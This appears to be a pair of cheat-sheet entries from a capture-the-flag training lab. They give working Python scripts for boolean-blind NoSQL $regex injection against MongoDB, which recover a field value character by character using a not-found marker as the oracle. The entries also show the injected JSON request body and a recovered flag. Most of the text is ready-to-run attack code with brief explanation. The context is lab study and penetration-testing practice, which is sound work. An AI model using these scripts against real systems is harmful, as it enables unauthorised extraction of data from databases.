Boolean Blind
NoSQL $regex prefix exfiltration
No charCodeAt needed: an anchored ^prefix regex is grown one char at a time; a match keeps the response ‘found’.
import string
charset = list(string.ascii_letters + string.digits + "{}_-")
FALSE_STRING = "does not exist"
def exfil(s, field, known=""):
value = known
while True:
for ch in charset:
json_data = {field: {"$regex": f"^{value}{ch}.*"}}
r = s.post(url=SEARCH_URL, json=json_data, verify=False)
if FALSE_STRING not in r.text:
value += ch
print(f"\r[+] {value}", end="", flush=True)
break
else:
print(f"\n[+] Found: {value}")
return valueFind by: nosql, mongodb, regex, prefix, exfiltrate, boolean blind, dollar regex, anchored, character, tracking number, field value · Source: CWEE/NoSQLi tracking
$regex boolean-blind field exfil (prefix extension)
Recovers a field character-by-character via $regex prefix matching, using a not-found marker as the boolean oracle.
The oracle anchors a $regex at the start of the target field (^<prefix>.*) and treats the absence of the not-found marker as a match. Because a matching prefix can be extended one byte at a time, the value is recovered without a separate length step: the loop appends the first character that keeps the regex matching and terminates when no character extends the prefix (the for/else). The injection only fires when the parameter is parsed as an object, so it is sent as a JSON body ({"trackingNum": {"$regex": ...}}) rather than a flat string. Seeding exfil() with a known prefix skips already-known leading characters. If the field can contain regex metacharacters (., *, (, \), escape them before interpolation so they are matched literally.
import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
# s.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} # Burp
URL = "http://target/index.php"
FALSE_STRING = "This tracking number does not exist" # shown ONLY when the regex matches nothing
CHARSET = string.ascii_letters + string.digits + "{}-"
def matches(prefix):
"""True when some document's field starts with `prefix` (regex matched)."""
data = {"trackingNum": {"$regex": f"^{prefix}.*"}}
r = s.post(URL, json=data, verify=False)
return FALSE_STRING not in r.text
def exfil(known=""):
value = known
while True:
for c in CHARSET:
if matches(value + c):
value += c
print(f"\r[+] {value}", end="", flush=True)
break
else: # no char extended the prefix -> done
print(f"\n[+] done: {value}")
return value
# exfil() # recover from scratch
# exfil("HTB{") # seed a known prefix to skip aheadInjected request body (parameter parsed as an object) + the false marker
POST /index.php
{"trackingNum": {"$regex": "^32A.*"}}
# response body when nothing matches:
This tracking number does not existRecovered value
[+] HTB{98e6bb6f0b04dbb68bcb4c1250715aa4}
[+] done: HTB{98e6bb6f0b04dbb68bcb4c1250715aa4}Find by: nosql, mongodb, $regex, boolean blind, char-by-char exfil, prefix bruteforce, operator injection, tracking number, not-found marker · Source: CWEE/NoSQLi $regex tracking-number exfil